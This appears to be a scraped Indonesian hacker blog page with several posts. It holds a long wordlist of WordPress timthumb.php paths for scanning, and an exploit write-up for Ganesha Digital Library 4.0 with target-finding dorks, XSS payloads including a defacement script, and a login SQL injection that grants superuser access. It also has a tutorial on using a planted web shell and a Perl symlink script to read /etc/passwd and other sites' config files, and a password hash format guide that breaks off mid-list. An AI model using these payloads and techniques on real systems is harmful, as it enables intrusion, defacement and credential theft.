wp-content/plugins/communitypress/cp-themes/cp-default/timthumb.php
wp-content/plugins/kino-gallery/timthumb.php
wp-content/plugins/mobileposty-mobile-site-generator/timthumb.php
wp-content/plugins/thumbnails-anywhere/timthumb.php
wp-content/plugins/yd-export2email/timthumb.php
wp-content/plugins/wp-dailybooth/timthumb.php
wp-content/plugins/image-rotator-widget/timthumb.php
wp-content/plugins/dp-thumbnail/timthumb/timthumb.php
wp-content/plugins/lisl-last-image-slider/timthumb.php
wp-content/plugins/cac-featured-content/timthumb.php
wp-content/plugins/image-symlinks/timthumb.php
wp-content/plugins/add-new-default-avatar-emrikols-fork/includes/timthumb.php
wp-content/plugins/kc-related-posts-by-category/timthumb.php
wp-content/plugins/cms-pack/timthumb.php
wp-content/plugins/tim-widget/scripts/timthumb.php
wp-content/plugins/a-gallery/timthumb.php
wp-content/plugins/igit-related-posts-widget/timthumb.php
wp-content/plugins/wps3slider/scripts/timthumb.php
wp-content/plugins/category-grid-view-gallery/includes/timthumb.php
wp-content/plugins/logo-management/includes/timthumb.php
wp-content/plugins/simple-coverflow/timthumb.php
wp-content/plugins/smart-related-posts-thumbnails/timthumb.php
wp-content/plugins/wptap-news-press-themeplugin-for-iphone/include/timthumb.php
wp-content/plugins/igit-posts-slider-widget/timthumb.php
wp-content/plugins/event-espresso-free/includes/functions/timthumb.php
wp-content/plugins/fotoslide/timthumb.php
wp-content/plugins/mangapress/includes/mangapress-timthumb.php
wp-content/plugins/wp-marketplace/libs/timthumb.php
wp-content/plugins/tag-gallery/timthumb/timthumb.php
wp-content/plugins/wp-slick-slider/includes/timthumb/timthumb.php
wp-content/plugins/sliceshow-slideshow/scripts/timthumb.php
wp-content/plugins/hungred-image-fit/scripts/timthumb.php
wp-content/plugins/sharepulse/timthumb.php
wp-content/plugins/wordpress-thumbnail-slider/timthumb.php
wp-content/plugins/thethe-image-slider/timthumb.php
wp-content/plugins/mobile-smart/includes/timthumb.php
wp-content/plugins/meenews-newsletter/inc/classes/timthumb.php
wp-content/plugins/wordpress-news-ticker-plugin/timthumb.php
wp-content/plugins/wordpress-gallery-plugin/timthumb.php
wp-content/plugins/sh-slideshow/timthumb.php
wp-content/plugins/db-toolkit/libs/timthumb.php
wp-content/plugins/geotag/tools/timthumb/timthumb.php
wp-content/plugins/jquery-slider-for-featured-content/scripts/timthumb.php
wp-content/plugins/timthumb-meets-tinymce/ttplugin/timthumb.php
wp-content/plugins/verve-meta-boxes/tools/timthumb.php
wp-content/plugins/seo-image-galleries/timthumb.php
wp-content/plugins/islidex/js/timthumb.php
wp-content/plugins/featured-post-with-thumbnail/scripts/timthumb.php
wp-content/plugins/wp-featured-post-with-thumbnail/scripts/timthumb.php
wp-content/plugins/wp-thumbie/timthumb.php;;18755
wp-content/plugins/dukapress/lib/timthumb.php
wp-content/plugins/front-slider/scripts/timthumb.php
wp-content/plugins/shortcodes-ultimate/lib/timthumb.php
wp-content/plugins/vslider/timthumb.php
wp-content/plugins/wp-mobile-detector/timthumb.php
wp-content/plugins/yd-recent-posts-widget/timthumb/timthumb.php
wp-content/plugins/zingiri-web-shop/fws/addons/timthumb/timthumb.php
wp-content/plugins/simple-post-thumbnails/timthumb.php
wp-content/plugins/wordpress-popular-posts/scripts/timthumb.php
wp-content/themes/genoa/timthumb.php
wp-content/plugins/feature-slideshow/timthumb.php
wp-content/plugins/igit-related-posts-with-thumb-images-after-posts/timthumb.php
wp-content/plugins/mediarss-external-gallery/timthumb.php
wp-content/plugins/rent-a-car/libs/timthumb.php
wp-content/plugins/vk-gallery/lib/timthumb.php
wp-content/plugins/extend-wordpress/helpers/timthumb/image.php
wp-content/plugins/pictmobi-widget/timthumb.php
wp-content/plugins/category-list-portfolio-page/scripts/timthumb.php
wp-content/plugins/simple-slide-show/timthumb.php
wp-content/plugins/communitypress/cp-themes/cp-default/timthumb.php
wp-content/plugins/kino-gallery/timthumb.php
wp-content/plugins/mobileposty-mobile-site-generator/timthumb.php
wp-content/plugins/thumbnails-anywhere/timthumb.php
wp-content/plugins/yd-export2email/timthumb.php
wp-content/plugins/wp-dailybooth/timthumb.php
wp-content/plugins/image-rotator-widget/timthumb.php
wp-content/plugins/dp-thumbnail/timthumb/timthumb.php
wp-content/plugins/lisl-last-image-slider/timthumb.php
wp-content/plugins/cac-featured-content/timthumb.php
wp-content/plugins/image-symlinks/timthumb.php
wp-content/plugins/add-new-default-avatar-emrikols-fork/includes/timthumb.php
wp-content/plugins/kc-related-posts-by-category/timthumb.php
wp-content/plugins/cms-pack/timthumb.php
wp-content/plugins/tim-widget/scripts/timthumb.php
wp-content/plugins/a-gallery/timthumb.php
wp-content/plugins/igit-related-posts-widget/timthumb.php
wp-content/plugins/wps3slider/scripts/timthumb.php
wp-content/plugins/category-grid-view-gallery/includes/timthumb.php
wp-content/plugins/logo-management/includes/timthumb.php
wp-content/plugins/simple-coverflow/timthumb.php
wp-content/plugins/smart-related-posts-thumbnails/timthumb.php
wp-content/plugins/wptap-news-press-themeplugin-for-iphone/include/timthumb.php
wp-content/plugins/igit-posts-slider-widget/timthumb.php
wp-content/plugins/event-espresso-free/includes/functions/timthumb.php
wp-content/plugins/fotoslide/timthumb.php
wp-content/plugins/mangapress/includes/mangapress-timthumb.php
wp-content/plugins/wp-marketplace/libs/timthumb.php
wp-content/plugins/tag-gallery/timthumb/timthumb.php
wp-content/plugins/wp-slick-slider/includes/timthumb/timthumb.php
wp-content/plugins/sliceshow-slideshow/scripts/timthumb.php
wp-content/plugins/hungred-image-fit/scripts/timthumb.php
wp-content/plugins/sharepulse/timthumb.php
wp-content/plugins/wordpress-thumbnail-slider/timthumb.php
wp-content/plugins/thethe-image-slider/timthumb.php
wp-content/plugins/mobile-smart/includes/timthumb.php
wp-content/plugins/meenews-newsletter/inc/classes/timthumb.php
wp-content/plugins/wordpress-news-ticker-plugin/timthumb.php
wp-content/plugins/wordpress-gallery-plugin/timthumb.php
wp-content/plugins/sh-slideshow/timthumb.php
wp-content/plugins/db-toolkit/libs/timthumb.php
wp-content/plugins/geotag/tools/timthumb/timthumb.php
wp-content/plugins/jquery-slider-for-featured-content/scripts/timthumb.php
wp-content/plugins/timthumb-meets-tinymce/ttplugin/timthumb.php
wp-content/plugins/verve-meta-boxes/tools/timthumb.php
wp-content/plugins/seo-image-galleries/timthumb.php
wp-content/plugins/islidex/js/timthumb.php
wp-content/plugins/featured-post-with-thumbnail/scripts/timthumb.php
wp-content/plugins/wp-featured-post-with-thumbnail/scripts/timthumb.php
wp-content/plugins/wp-thumbie/timthumb.php;;18755
wp-content/plugins/dukapress/lib/timthumb.php
wp-content/plugins/front-slider/scripts/timthumb.php
wp-content/plugins/shortcodes-ultimate/lib/timthumb.php
wp-content/plugins/vslider/timthumb.php
wp-content/plugins/wp-mobile-detector/timthumb.php
wp-content/plugins/yd-recent-posts-widget/timthumb/timthumb.php
wp-content/plugins/zingiri-web-shop/fws/addons/timthumb/timthumb.php
wp-content/plugins/simple-post-thumbnails/timthumb.php
wp-content/plugins/wordpress-popular-posts/scripts/timthumb.php
wp-content/themes/zcool-like/timthumb.php
wp-content/themes/wpbus-d4/includes/timthumb.php
wp-content/themes/wp-premium-orange/timthumb.php
wp-content/themes/wp-perfect/js/timthumb.php
wp-content/themes/wp-newsmagazine/scripts/timthumb.php
wp-content/themes/wp-creativix/scripts/timthumb.php
wp-content/themes/vibefolio-teaser-10/scripts/timthumb.php
wp-content/themes/versitility/timthumb.php
wp-content/themes/unity/timthumb.php
wp-content/themes/ugly/timthumb.php
wp-content/themes/typographywp/timthumb.php
wp-content/themes/twittplus/scripts/timthumb.php
wp-content/themes/ttnews-theme/timthumb.php
wp-content/themes/true-blue-theme/timthumb.php
wp-content/themes/travelogue-theme/scripts/timthumb.php
wp-content/themes/totallyred/scripts/timthumb.php
wp-content/themes/tm-theme/js/timthumb.php
wp-content/themes/the_dark_os/tools/timthumb.php
wp-content/themes/swift/timthumb.php
wp-content/themes/swift/includes/timthumb.php
wp-content/themes/suffusion/timthumb.php
wp-content/themes/squeezepage/timthumb.php
wp-content/themes/spotlight/timthumb.php
wp-content/themes/slidette/timThumb/timthumb.php
wp-content/themes/simplewhite/timthumb.php
wp-content/themes/simplenews_premium/scripts/timthumb.php
wp-content/themes/simple-red-theme/timthumb.php
wp-content/themes/simple-but-great/timthumb.php
wp-content/themes/shadow/timthumb.php
wp-content/themes/shaan/timthumb.php
wp-content/themes/regal/timthumb.php
wp-content/themes/probluezine/timthumb.php
wp-content/themes/postage-sydney/includes/timthumb.php
wp-content/themes/pico/scripts/timthumb.php
wp-content/themes/pearlie/scripts/timthumb.php
wp-content/themes/new-green-natural-living-ngnl/scripts/timthumb.php
wp-content/themes/neofresh/timthumb.php
wp-content/themes/nash/theme-assets/php/timthumb.php
wp-content/themes/mystique/extensions/auto-thumb/timthumb.php
wp-content/themes/mymag/timthumb.php
wp-content/themes/my-heli/images/timthumb.php
wp-content/themes/moi-magazine/timthumb.php
wp-content/themes/make-money-online-theme/scripts/timthumb.php
wp-content/themes/make-money-online-theme-4/scripts/timthumb.php
wp-content/themes/make-money-online-theme-3/scripts/timthumb.php
wp-content/themes/make-money-online-theme-2/scripts/timthumb.php
wp-content/themes/make-money-online-theme-1/scripts/timthumb.php
wp-content/themes/magup/timthumb.php
wp-content/themes/litepress/scripts/timthumb.php
wp-content/themes/likehacker/timthumb.php
wp-content/themes/jellyfish/lib/rt-timthumb.php
wp-content/themes/iwana-v10/timthumb.php
wp-content/themes/impressio/timthumb/timthumb.php
wp-content/themes/ideatheme/timthumb.php
wp-content/themes/here-comes-the-bride/lib/rt-timthumb.php
wp-content/themes/heli-1-wordpress-theme/images/timthumb.php
wp-content/themes/greyzed/functions/efrog/lib/timthumb.php
wp-content/themes/greydove/timthumb.php
wp-content/themes/granite-lite/scripts/timthumb.php
wp-content/themes/go-green/modules/timthumb.php
wp-content/themes/fresh-blu/scripts/timthumb.php
wp-content/themes/flix/timthumb.php
wp-content/themes/fliphoto/timthumb.php
wp-content/themes/featuring/timthumb.php
wp-content/themes/famous/timthumb.php
wp-content/themes/evr-green/scripts/timthumb.php
wp-content/themes/epione/script/timthumb.php
wp-content/themes/dimenzion/timthumb.php
wp-content/themes/deep-blue/timthumb.php
wp-content/themes/dark-dream-media/timthumb.php
wp-content/themes/coverht-wp/scripts/timthumb.php
wp-content/themes/cover-wp/scripts/timthumb.php
wp-content/themes/constructor/timthumb.php
wp-content/themes/constructor/libs/timthumb.php
wp-content/themes/conceditor-wp-strict/scripts/timthumb.php
wp-content/themes/comet/scripts/timthumb.php
wp-content/themes/calotropis/includes/timthumb.php
wp-content/themes/business-turnkey/assets/js/timthumb.php
wp-content/themes/brochure-melbourne/includes/timthumb.php
wp-content/themes/brightsky/scripts/timthumb.php
wp-content/themes/breakingnewz/timthumb.php
wp-content/themes/bombax/includes/timthumb.php
wp-content/themes/bluemag/library/timthumb.php
wp-content/themes/blue-news/scripts/timthumb.php
wp-content/themes/blue-corporate-hyve-theme/timthumb.php
wp-content/themes/blogified/timthumb.php
wp-content/themes/bloggnorge-a1/scripts/timthumb.php
wp-content/themes/blex/scripts/timthumb.php
wp-content/themes/black_eve/timthumb.php
wp-content/themes/automotive-blog-theme/timthumb.php
wp-content/themes/automotive-blog-theme/Quick%20Cash%20Auto/timthumb.php
wp-content/themes/aurorae/timthumb.php
wp-content/themes/aureola/scripts/timthumb.php
wp-content/themes/artisan/includes/timthumb.php
wp-content/themes/arthemix-green/scripts/timthumb.php
wp-content/themes/arthemix-bronze/scripts/timthumb.php
wp-content/themes/arras/library/timthumb.php
wp-content/themes/arras-theme/library/timthumb.php
wp-content/themes/aranovo/scripts/timthumb.php
wp-content/themes/aqua-blue/includes/timthumb.php
wp-content/themes/amphion-lite/script/timthumb.php
wp-content/themes/albizia/includes/timthumb.php
wp-content/themes/aesthete/timthumb.php
wp-content/themes/aerial/lib/timthumb.php
wp-content/themes/a-supercms/timthumb.php
wp-content/themes/a-simple-business-theme/scripts/timthumb.php
wp-content/themes/8q/scripts/timthumb.php
wp-content/themes/zcool-like/timthumb.php
wp-content/themes/wpbus-d4/includes/timthumb.php
wp-content/themes/wp-premium-orange/timthumb.php
wp-content/themes/wp-perfect/js/timthumb.php
wp-content/themes/wp-newsmagazine/scripts/timthumb.php
wp-content/themes/wp-creativix/scripts/timthumb.php
wp-content/themes/vibefolio-teaser-10/scripts/timthumb.php
wp-content/themes/versitility/timthumb.php
wp-content/themes/unity/timthumb.php
wp-content/themes/ugly/timthumb.php
wp-content/themes/typographywp/timthumb.php
wp-content/themes/twittplus/scripts/timthumb.php
wp-content/themes/ttnews-theme/timthumb.php
wp-content/themes/true-blue-theme/timthumb.php
wp-content/themes/travelogue-theme/scripts/timthumb.php
wp-content/themes/totallyred/scripts/timthumb.php
wp-content/themes/tm-theme/js/timthumb.php
wp-content/themes/the_dark_os/tools/timthumb.php
wp-content/themes/swift/timthumb.php
wp-content/themes/swift/includes/timthumb.php
wp-content/themes/suffusion/timthumb.php
wp-content/themes/squeezepage/timthumb.php
wp-content/themes/spotlight/timthumb.php
wp-content/themes/slidette/timThumb/timthumb.php
wp-content/themes/simplewhite/timthumb.php
wp-content/themes/simplenews_premium/scripts/timthumb.php
wp-content/themes/simple-red-theme/timthumb.php
wp-content/themes/simple-but-great/timthumb.php
wp-content/themes/shadow/timthumb.php
wp-content/themes/shaan/timthumb.php
wp-content/themes/regal/timthumb.php
wp-content/themes/probluezine/timthumb.php
wp-content/themes/postage-sydney/includes/timthumb.php
wp-content/themes/pico/scripts/timthumb.php
wp-content/themes/pearlie/scripts/timthumb.php
wp-content/themes/new-green-natural-living-ngnl/scripts/timthumb.php
wp-content/themes/neofresh/timthumb.php
wp-content/themes/nash/theme-assets/php/timthumb.php
wp-content/themes/mystique/extensions/auto-thumb/timthumb.php
wp-content/themes/mymag/timthumb.php
wp-content/themes/my-heli/images/timthumb.php
wp-content/themes/moi-magazine/timthumb.php
wp-content/themes/make-money-online-theme/scripts/timthumb.php
wp-content/themes/make-money-online-theme-4/scripts/timthumb.php
wp-content/themes/make-money-online-theme-3/scripts/timthumb.php
wp-content/themes/make-money-online-theme-2/scripts/timthumb.php
wp-content/themes/make-money-online-theme-1/scripts/timthumb.php
wp-content/themes/magup/timthumb.php
wp-content/themes/litepress/scripts/timthumb.php
wp-content/themes/likehacker/timthumb.php
wp-content/themes/jellyfish/lib/rt-timthumb.php
wp-content/themes/iwana-v10/timthumb.php
wp-content/themes/impressio/timthumb/timthumb.php
wp-content/themes/ideatheme/timthumb.php
wp-content/themes/here-comes-the-bride/lib/rt-timthumb.php
wp-content/themes/heli-1-wordpress-theme/images/timthumb.php
wp-content/themes/greyzed/functions/efrog/lib/timthumb.php
wp-content/themes/greydove/timthumb.php
wp-content/themes/granite-lite/scripts/timthumb.php
wp-content/themes/go-green/modules/timthumb.php
wp-content/themes/fresh-blu/scripts/timthumb.php
wp-content/themes/flix/timthumb.php
wp-content/themes/fliphoto/timthumb.php
wp-content/themes/featuring/timthumb.php
wp-content/themes/famous/timthumb.php
wp-content/themes/evr-green/scripts/timthumb.php
wp-content/themes/epione/script/timthumb.php
wp-content/themes/dimenzion/timthumb.php
wp-content/themes/deep-blue/timthumb.php
wp-content/themes/dark-dream-media/timthumb.php
wp-content/themes/coverht-wp/scripts/timthumb.php
wp-content/themes/cover-wp/scripts/timthumb.php
wp-content/themes/constructor/timthumb.php
wp-content/themes/constructor/libs/timthumb.php
wp-content/themes/conceditor-wp-strict/scripts/timthumb.php
wp-content/themes/comet/scripts/timthumb.php
wp-content/themes/calotropis/includes/timthumb.php
wp-content/themes/business-turnkey/assets/js/timthumb.php
wp-content/themes/brochure-melbourne/includes/timthumb.php
wp-content/themes/brightsky/scripts/timthumb.php
wp-content/themes/breakingnewz/timthumb.php
wp-content/themes/bombax/includes/timthumb.php
wp-content/themes/bluemag/library/timthumb.php
wp-content/themes/blue-news/scripts/timthumb.php
wp-content/themes/blue-corporate-hyve-theme/timthumb.php
wp-content/themes/blogified/timthumb.php
wp-content/themes/bloggnorge-a1/scripts/timthumb.php
wp-content/themes/blex/scripts/timthumb.php
wp-content/themes/black_eve/timthumb.php
wp-content/themes/automotive-blog-theme/timthumb.php
wp-content/themes/automotive-blog-theme/Quick%20Cash%20Auto/timthumb.php
wp-content/themes/aurorae/timthumb.php
wp-content/themes/aureola/scripts/timthumb.php
wp-content/themes/artisan/includes/timthumb.php
wp-content/themes/arthemix-green/scripts/timthumb.php
wp-content/themes/arthemix-bronze/scripts/timthumb.php
wp-content/themes/arras/library/timthumb.php
wp-content/themes/arras-theme/library/timthumb.php
wp-content/themes/aranovo/scripts/timthumb.php
wp-content/themes/aqua-blue/includes/timthumb.php
wp-content/themes/amphion-lite/script/timthumb.php
wp-content/themes/albizia/includes/timthumb.php
wp-content/themes/aesthete/timthumb.php
wp-content/themes/aerial/lib/timthumb.php
wp-content/themes/a-supercms/timthumb.php
wp-content/themes/a-simple-business-theme/scripts/timthumb.php
wp-content/themes/8q/scripts/timthumb.php
wp-content/plugins/category-grid-view-gallery/includes/timthumb.php
wp-content/plugins/wp-marketplace/libs/timthumb.php
wp-content/plugins/dp-thumbnail/timthumb/timthumb.php
wp-content/plugins/vk-gallery/lib/timthumb.php
wp-content/plugins/cac-featured-content/timthumb.php
wp-content/plugins/rent-a-car/libs/timthumb.php
wp-content/plugins/lisl-last-image-slider/timthumb.php
wp-content/plugins/islidex/js/timthumb.php
wp-content/plugins/kino-gallery/timthumb.php
wp-content/plugins/cms-pack/timthumb.php
wp-content/plugins/a-gallery/timthumb.php
wp-content/plugins/category-list-portfolio-page/scripts/timthumb.php
wp-content/plugins/verve-meta-boxes/tools/timthumb.php
wp-content/plugins/extend-wordpress/helpers/timthumb/image.php
wp-content/plugins/timthumb-vulnerability-scanner/cg-tvs-admin-panel.php
wp-content/plugins/wp-marketplace/libs/timthumb.php
wp-content/plugins/category-grid-view-gallery/includes/timthumb.php
wp-content/plugins/wp-marketplace/libs/timthumb.php
wp-content/plugins/dp-thumbnail/timthumb/timthumb.php
wp-content/plugins/vk-gallery/lib/timthumb.php
wp-content/plugins/dp-thumbnail/timthumb/timthumb.php
wp-content/plugins/vk-gallery/lib/timthumb.php
wp-content/plugins/uBillboard/timthumb.php

Read More »

Ganesha Digital Library 4.0 Multiple Vulnerabilities

=====================================================
Ganesha Digital Library 4.0 Multiple Vulnerabilities
=====================================================

:----------------------------------------------------------------------------------------------------------------------------------------:
: # Exploit Title : Ganesha Digital Library 4.0 Multiple Vulnerabilities
: # Date : 30 May 2012
: # Author : X-Cisadane
: # Software Link : kmrg.itb.ac.id
: # Version : 4.x
: # Category : Web Applications
: # Vulnerability : SQL Injection Vulnerability & NON-Persistent XSS
Vulnerability
: # Tested On : Mozilla Firefox 7.0.1 (Windows)
: # Greetz to : Bhepal.Corp, X-Code, Borneo Crew, Depok Cyber, Dunia Santai, Jiban Crew,
CodeNesia, Axon Code, Jember Hacker, Explore Crew, Winda Utari
:----------------------------------------------------------------------------------------------------------------------------------------:

Description :
=============
Ganesha Digital Library (GDL) is a digital library software developed by
Knowledge Management Research Group (KMRG) Institute of Technology Bandung
(ITB) in order to harness the intellectual capital (intellectual capital)
of ITB, which includes academic articles, journals, the final task, thesis,
dissertation, research results, expertise and other directory.

Dorks :
=======
inurl:"/office.php?m="
intext:Copyright © 2002-2003 - KMRG ITB. All rights reserved
intext:This work was carried out with the aid of a grant from YLTI
Indonesia and IDRC Canada.
intitle:" - GDL 4.0"

POC :
=====
[1] NON-Persistent XSS in the Account Activation Section
There is a security flaw (NON-Persistent XSS) in the Account Activation
Section.
Activate Account in the left corner Menu. Then you'll be taken to Activate
Account Page, Fill this script : '"><script>alert(1337)</script> on the
Account Field and Code Field Then Click Activate.

[2] NON-Persistent XSS in the Search Section
XSS Script : '"><script>alert(1337)</script>
For Example :
http://server/pustaka/search.php?s=[Insert XSS Script]

[3] NON-Persistent XSS in /office.php?m=lang&langid=[Insert XSS Script]
XSS Script : '"><script>alert(1337)</script>
For Example :
Type XSS Script like this --->
http://server/office.php?m=lang&langid='"><script>alert(1337)</script>
AND PRESS ENTER!
Then you'll be taken to Error Page.
Then edit the URL like this --->
http://server/office.php?m=lang&langid=en AND PRESS
ENTER!
If it Successfull, it will appear a Message Box "1337"
P.S : Login Required!

[4] NON-Persistent XSS DEFACING
XSS Script : http://server/publisher.php?id=<script>document.body.innerHTML="<h1>XSS
Defacing</h1>This Site Has XSSed By : X-Cisadane<br/>Greetz To : Poni,
Wilmar Kidz, Anharku, Artificial Intelligence, Winda Utari, etc<br/>Visit
http://xcode.or.id";</script>

[5] SQL Injection on The Login Form (Gain SuperUser Access!)
Open Ganesha Digital Library 4.0 Login Page
For the example : Open http://server/login.php
On the Account Field, Fill with this Symbol : '=0#
On the Password Field Don't Fill Anything!!! Then Click Login Button.
If it Successfull, you'll be got a Superuser GDL Access!
You can try another site such as :
http://server/login.php


[6] SQL Injection on go.php?id=['SQL]
SQL Injection on go.php?id=ID BLA BLA BLA&node=['SQL]
SQL Injection on go.php?id=ID BLA BLA BLA&node=NODE ID BLA BLA
BLA&start=['SQL]
SQL Injection on go.php?id=ID BLA BLA BLA&node=NODE ID BLA BLA
BLA&start=START ID BLA BLA BLA&node=['SQL]
For Example :
http://server/go.php?id='jkpkbppk-gdl-grey-2011-santoso-3848
http://server/go.php?id='dlhub-gdl-s1-2012-dewantiarl-23785
http://server/go.php?id=gdlhub-gdl-s1-2011-rizalabdul-15439&node='781&start=81&PHPSESSID=a46159e2d84c6d5fab6e581f7d3e7f3a
http://server/go.php?id=gdlhub-gdl-s1-2011-rizalabdul-15439&node=781&start='81&PHPSESSID=a46159e2d84c6d5fab6e581f7d3e7f3a
http://server/go.php?id=gdlhub-gdl-s1-2011-rizalabdul-15439&node=781&start=81&PHPSESSID=%27a46159e2d84c6d5fab6e581f7d3e7f3a

[7] SQL Injection on publisher.php?id=['SQL]
For Example :
http://server/publisher.php?id=%27JBPEDONFAU

[8] SQL Injection on go.php?node=['SQL]
For Example :
http://server/go.php?node='191

P.S : Login Required!

[9] SQL Injection on office.php?m=explorer&a=['SQL]&b=expand&w=0
For Example :
http://server/office.php?m=explorer&a='191&b=expand&w=0

P.S : Login Required!

[10] SQL Injection on office.php?m=user&a=['SQL]
For Example :
http://server/office.php?m=user&a='pdsony@idola.net.id&b=edit
P.S : Login Required!

[11] SQL Injction on office.php?m=workgroup&a=['SQL]&b=edit
For Example :
http://server/office.php?m=workgroup&a='1&b=edit
P.S : Login Required!

[12] SQL Injection on office.php?m=user&so=desc&sb=['SQL]
For Example :
http://server/office.php?m=user&so=desc&sb='FULL_NAME
http://server/office.php?m=user&so=asc&sb='EMAIL
http://server/office.php?m=user&so=asc&sb='GID
http://server/office.php?m=user&so=asc&sb='CONFIRM
P.S : Login Required!

Source : DB Exploit

Good Luck =))

Read More »

Tutorial Jumping / Symlink

Mudah²an Postingan kali ini bisa Bermanfaat =))

Di sini saya akan Menjelaskan Cara symlink Mengunakan File Perl..
Buat para defacer pasti sdh tau apa itu symlink.

Tanpa Basa Basi ane share aja dech..

Peralatan Perang..

1. Rokok DjieSamSoe
2. Kopi Kapal Api ( kopinya orang Indonesia)
3. Kompie + Internet.. [ Tanpa ini ente tidak bisa Praktek.. hhahaha]
4. Web Target yang sudah di tanam BD or Shell
5. Silahkan Download File nya dulu

#1. Sekarang ente Masuk Ke web target

hmmm.. di sini ane sdh masuk Web yg sudah ane tanam Shell 404

#2. Buat Folder baru
Contoh : Disini ane membuat folder baru bernama Sym


#3. Upload File .htaccsess dan a.pl di folder baru yg ente buat tadi.


#4. Rubah CMOS or permission a.pl menjadi 0755


#5. Selesai dah Upload File nya.. Sekarang Tinggal Eksekusi aja..
skarang buka New Tab ente menuju folder yg ente buat tadi
Example :
http://orangganteng.com/sym/

#6. kembali ke shell 404 ,, nach di situ ada Menu [ Sec. Info ]
cari tulisan Readable /etc/passwd: yes Click [view]

#7. Keluar Dah File yg mw Di config

root:0:0:root:/root:/bin/bash
bin:1:1:bin:/bin:/sbin/nologin
daemon:2:2:daemon:/sbin:/sbin/nologin
adm:3:4:adm:/var/adm:/sbin/nologin
lp:4:7p:/var/spool/lpd:/sbin/nologin
sync:5:0:sync:/sbin:/bin/sync
shutdown:6:0:shutdown:/sbin:/sbin/shutdown
halt:7:0:halt:/sbin:/sbin/halt
mail:8:12:mail:/var/spool/mail:/sbin/nologin
news:9:13:news:/etc/news:
uucp:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:11:0:operator:/root:/sbin/nologin
games:12:100:games:/usr/games:/sbin/nologin
gopher:13:30:gopher:/var/gopher:/sbin/nologin

#8. lanjuttt.... kembali lagi ke tab folder Sym yang tadi trus click a.pl
Ntar tampilanya seperti ini

Click Attack..

#9. skarang kembali ke link folder sym http://orangganteng.com/sym
dan liat hasilnya,,,
Kluar dah File Config nya

Sekiaan Tutorial Cupu ane,,, Maaf Klo berantakan hehehe,,
klo ente msih bingung silahkan post di bawah ane:Ah:

Good JoB =))
Borneo Attacker

Read More »

Jenis HASH

Hae gan ..

kali ini Bhepal.Corp akan membahas tentang macam macam jenis HASH.

ok langsung aja cekibrot ..

1. DES(Unix)
[+] Digunakan di Linux dan sejenisnya.
[+] Panjang : 13 Karakter.
[+] Deskripsi : Dua karakter pertama adalah salt (Karakter acak, di contoh kita saltnya adalah string "Iv.") kemudian diikuti oleh Hashnya.
[+] Contoh : IvS7aeT4NzQPM

2. Domain Cached Credentials
[+] Digunakan untuk mencache password-password domain windows.
[+] Panjang : 16 bytes (32 Karakter)
[+] Algorithm : MD4(MD4(Unicode($pass)).Unicode(strtolower($userna me)))
[+] Contoh : Admin:b474d48cdfc4974d86ef4d24904cdd91

3. MD5(Unix)
[+] Digunakan di Linux dan sejenisnya.
[+] Panjang : 34 Karakter.
[+] Deskripsi : Hash dimulai dengan tanda $1$ kemudian dilanjutkan dengan salt (sampai dengan 8 karakter acak, di contoh kita saltnya adalah string "12345678") kemudian dilanjutkan dengan satu karakter lagi $ , kemudian diikuti oleh Hashnya.
[+] Algorithm : Sebenarnya ini adalah loop yang memanggil algoritma md5 sebanyak 2000 kali.
[+] Contoh : $1$12345678$XM4P3PrKBgKNnTaqG9P0T/

4. MD5(APR)
[+] Digunakan di Linux dan sejenisnya.
[+] Panjang : 37 Karakter.
[+] Deskripsi : Hash dimulai dengan tanda $apr1$ , kemudian dilanjutkan dengan salt (sampai dengan 8 karakter acak, di contoh kita saltnya adalah string "12345678"), kemudian dilanjutkan dengan satu karakter lagi $ , kemudian diikuti oleh Hashnya.
[+] Algorithm : Sebenarnya ini adalah loop yang memanggil algoritma md5 sebanyak 2000 kali.
[+] Contoh : $apr1$12345678$auQSX8Mvzt.tdBi4y6Xgj.

5. MD5(phpBB3)
[+] Digunakan di phpBB 3.x.x.
[+] Panjang : 37 Karakter.
[+] Dekripsi : Hash dimulai dengan tanda $H$ kemudian diikuti dengan satu karakter (paling sering angka "9") kemudian diikuti dengan salt (8 karakter acak, di contoh kita saltnya adalah string "12345678"), kemudian diikuti oleh Hashnya.
[+] Algorithm : Sebenarnya ini adalah loop yang memanggil algoritma md5 sebanyak 2048 kali.
[+] Contoh : $H$9123456785DAERgALpsri.D9z3ht120

6. MD5(Wordpress)
[+] Digunakan di Wordpress.
[+] Panjang : 34 Karakter.
[+] Deskripsi : Hash dimulai dengan tanda $P$ , kemudian diikuti dengan satu karakter (Paling sering huruf "B"), kemudian diikuti dengan salt (8 karakter acak, di contoh kita saltnya adalah string "12345678"), kemudian diikuti oleh Hashnya.
[+] Algorithm : Sebenarnya ini adalah loop yang memanggil algoritma md5 sebanyak 8192 kali.
[+] Contoh : $P$B123456780BhGFYSlUqGyE6ErKErL01

7. MySQL
[+] Digunakan di MySQL versi lama.
[+] Panjang : 8 bytes.
[+] Deskripsi : Hash yang terdiri dari dua DWORD, masing-masing tidak melebihi nilai 0x7fffffff.
[+] Contoh : 606717496665bcba

8. MySQL5
[+] Digunakan di MySQL Versi baru.
[+] Panjang : 20 bytes.
[+] Algorithm : SHA-1(SHA-1($pass))
[+] Contoh : *E6CC90B878B948C35E92B003C792C46C58C4AF40
[+] Catatan : Hash harus dimuat ke program tanpa tanda bintang yang terdapat di awal setiap hash.

9. RAdmin v2.x
[+] Digunakan di Aplikasi Remote Administrator v2.x.
[+] Panjang : 16 bytes.
[+] Algorithm : Password diisi dengan nol dengan panjang 100 bytes, kemudian seluruh string dihash dengan algoritma MD5.
[+] Contoh : 5e32cceaafed5cc80866737dfb212d7f

10. MD5
[+] Digunakan di phpBB v2.x, Joomla versi di bawah 1.0.13 dan banyak forum dan CMS.
[+] Panjang : 16 bytes.
[+] Algorithm : sama seperti fungsi md5() di php.
[+] Contoh : c4ca4238a0b923820dcc509a6f75849b

11. md5($pass.$salt)
[+] Digunakan di WB News, Joomla Versi 1.0.13 keatas.
[+] Panjang : 16 bytes
[+] contoh : 6f04f0d75f6870858bae14ac0b6d9f73:1234

12. md5($salt.$pass)
[+] Digunakan di osCommerce, AEF, Gallery dan beberapa CMS.
[+] Panjang : 16 bytes.
[+] Contoh : f190ce9ac8445d249747cab7be43f7d5:12

13. md5(md5($pass))
[+] Digunakan di e107, DLE, AVE, Diferior, Koobi dan beberapa CMS.
[+] Panjang : 16 bytes.
[+] Contoh : 28c8edde3d61a0411511d3b1866f0636

14. md5(md5($pass).$salt)
[+] Digunakan di vBulletin, IceBB.
[+] Panjang ; 16 bytes.
[+] Contoh : 6011527690eddca23580955c216b1fd2:wQ6

15. md5(md5($salt).md5($pass))
[+] Digunakan di IPB.
[+] Panjang : 16 bytes.
